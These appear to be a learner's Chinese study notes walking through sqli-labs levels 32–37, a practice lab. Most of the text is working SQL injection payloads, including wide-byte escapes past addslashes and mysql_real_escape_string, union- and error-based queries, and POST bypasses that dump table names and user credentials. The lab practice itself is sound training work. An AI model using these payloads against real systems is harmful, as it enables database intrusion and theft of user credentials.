sql-labs闯关32~37:
诚信自由平等友善平等自由爱国法治诚信自由平等友善自由友善法治诚信富强公正
复习笔记1
内容:
- sql-labs第32关(GET请求-Bypass custom filter adding slashes to dangerous chars)
- sql-labs第33关(GET请求-Bypass addslashes())
- sql-labs第34关(POST请求-Bypass addslashes())
- sql-labs第35关(GET请求-Bypass add slashes(we dont need them)-基于数值型)
- sql-labs第36关(GET请求-Bypass MySQL_real_eacape_string-字符型)
- sql-labs第37关(POST请求-Bypass MySQL_real_eacape_string-字符型)
1.sql-labs第32关
从欢迎界面提示,输入的查询字符串会被转义,而且还会将查询字符串转化为16进制输出。暂时放着,先按照老方法先判断闭合点,输入?id=1
输入?id=1 and 1=2
,经过站长工具检验,3120616e6420313d32
就是1 and 1=2
的16进制编码
既然类型不是数值型,那么再输入?id=1'
,可以发现程序没报错,反而多了个转义字符,这就想到了用宽字节注入试试
输入?id=1%df'
,出现报错信息
宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。
— 引自《web安全攻防渗透测试实战指南》(宽字节注入攻击)P166
既然出现报错信息,那么说明存在注入,再输入?id=1%df'--+
尝试闭合
输入?id=0%df' union select 1,2,3--+
查看回显位
再试试报错注入能不能行,输入?id=0%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
成功爆库,那就说明报错注入可行。有这两种方法就不去试布尔/时间盲注了,不然太憨了
像往常一样输入,结果报错了。因为后面的引号被转义了,所以报错,虽然数据库可以用database()
绕过,但是数据表没有别的方式表示,还是绕不过,必须解决
看到下面的Hex编码,想到如果将’security’进行16进制编码,再输入,还是没绕过,开始百度
?id=0%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),0x7e),1)--+
感谢大佬,我学会了Hex编码正确的输入方式,成功爆表,接下去就简单了
?id=0%df' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),0x7e),1)--+
爆字段
?id=0%df' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
爆数据
2.sql-labs第33关
欢迎界面没改变,照常输入?id=1
输入?id=1 and 1=2
,不是数值型
再输入?id=1'
,又多了个转义字符,那继续用宽字节注入试试
输入?id=1%bb'
,出现报错信息
输入?id=1%bb'--+
,尝试闭合
输入?id=0 %bb' union select 1,2,3--+
查看回显位
这怎么跟上关一样,我对比源码之后发现,33关只用了一个addslashes()就代替了32关那堆转义条件,那么addslashes函数描述就来了,总的来说addslashes函数在指定的预定义字符前添加反斜杠。那我明白了,虽然这题的闯关思路跟上关一致,但是源码内含的转义条件不同,32关是程序员手动添加的条件添加反斜杠,33关是函数自动运行判断添加反斜杠
输入?id=0 %bb' union select 1,database(),version()--+
爆库
?id=0 %bb' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆表
?id=0 %bb' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
爆字段
?id=0 %bb' union select 1, group_concat(username),group_concat(password) from users--+
爆数据
3.sql-labs第34关
界面又变成了POST输入,输入dumb
先在username框内输入dumb'
,password框内输入dumb
,又出现了反斜杠
像之前一样,输入dumb%df'
,没有像预期的那样逃逸
这时候,万能的抓包就上场了,可以发现提交时,输入值被处理了,那如果我抓包之后修改再提交,会不会成功呢?
将多出来的25删除,再点击运行,页面出现报错,看样子好像可以
再次修改,不仅将25删除,还加了注释符,但是失败了
那我再试试用or来判断,成功了,开启注入之旅
输入dumb%df' union select 1,2 or 1=1#
,查看回显位,看样子union也可以用
输入dumb %df' and extractvalue(1,concat(0x7e,database()))or 1=1#
尝试爆库
dumb %df' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))or 1=1#
爆表
dumb %df' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273))) or 1=1#
爆字段
dumb %df' and extractvalue(1,concat(0x7e,(select group_concat(username) from users))) or 1=1#
爆数据
看到一个新方法,将 utf-8 转换为 utf-16 或 utf-32,不过我没找到转换地址,但有效
sqli-labs Less-32、33、34、35、36、37(sqli-labs闯关指南 32、33、34、35、36、37)—宽字节注入
4.sql-labs第35关
又回到get请求了,输入?id=1
输入?id=1 and 1=2
,真好,不用找闭合点了
输入?id=0 union select 1,2,3 --+
,查看回显点
输入?id=0 union select 1,database(),version()--+
爆库
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆表
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
爆字段
?id=0 union select 1, group_concat(username),group_concat(password) from users--+
爆数据
5.sql-labs第36关
输入?id=1
输入?id=1 and 1=2
,可惜,不是数值型
输入?id=1'
,哦豁,转义字符,又到了宽字节注入上场的时刻了
输入?id=1%bb' --+
,闭合
输入?id=0%bb' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
爆库
?id=0%bb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),0x7e),1)--+
爆表
?id=0%bb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),0x7e),1)--+
爆字段
?id=0%bb' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
爆数据
这个操作怎么感觉经历了好多遍,不行,要去看看源码,查询mysql_real_escape_string作用,影响范围比addslashes要大
5.sql-labs第37关
两个文本框里输入dumb
username文本框内输入dumb'
,password输入dumb
输入dumb%bb'
,逃逸失败,按照34关的思路,抓包看看
又是这个,我这次换union注入试试
输入dumb%bb' union select 1,2#
,查看回显位
输入dumb%bb' union select database(),user()#
爆库
dumb%bb' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆表
dumb%bb' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#
爆字段
dumb%bb' union select group_concat(username),group_concat(password) from users#
爆数据
体验
没找到将utf-8 转换为 utf-16 或 utf-32的在线网站,直接复制体验一下新方法
输入-1�' union select 1,2#
,不用burp改直接提交,即可
输入-1�' union select database(),version()#
输入-1�' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
输入-1�' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#
输入-1�' union select group_concat(username),group_concat(password) from users#
用这个方法比较节省时间,不需要抓包改数据再提交,等我找到转换网站再贴上来